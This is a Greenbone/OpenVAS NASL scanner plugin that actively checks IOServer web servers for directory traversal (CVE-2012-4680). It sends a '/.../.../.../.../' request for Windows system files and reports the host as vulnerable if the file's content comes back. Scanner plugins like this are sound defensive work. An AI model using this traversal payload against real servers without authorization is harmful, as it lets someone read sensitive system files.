IOServer < 1.0.19.0 Multiple Directory Traversal Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802445");
  script_version("2023-05-04T09:51:03+0000");
  script_tag(name:"last_modification", value:"2023-05-04 09:51:03 +0000 (Thu, 04 May 2023)");
  script_tag(name:"creation_date", value:"2012-08-20 16:21:46 +0530 (Mon, 20 Aug 2012)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2012-4680");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("IOServer < 1.0.19.0 Multiple Directory Traversal Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 81);
  script_mandatory_keys("IOServer/banner", "Host/runs_windows");

  script_tag(name:"summary", value:"IOServer is prone to multiple directory traversal
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaws are due to improper validation of URI containing
  ../ (dot dot) sequences, which allows attackers to read arbitrary files via directory traversal
  attacks.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to obtain sensitive
  information that could aid in further attacks.");

  script_tag(name:"affected", value:"IOServer version 1.0.18.0 and prior.");

  script_tag(name:"solution", value:"Update to version 1.0.19.0 or later.");

  script_xref(name:"URL", value:"http://www.foofus.net/?page_id=616");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2012/Aug/223");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 81);

banner = http_get_remote_headers(port: port);

if (banner !~ "Server\s*:\s*IOServer")
  exit(0);

files = traversal_files("windows");

foreach file (keys(files)) {
  url = "/.../.../.../.../" + files[file];

  if (http_vuln_check(port: port, url: url, pattern: file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);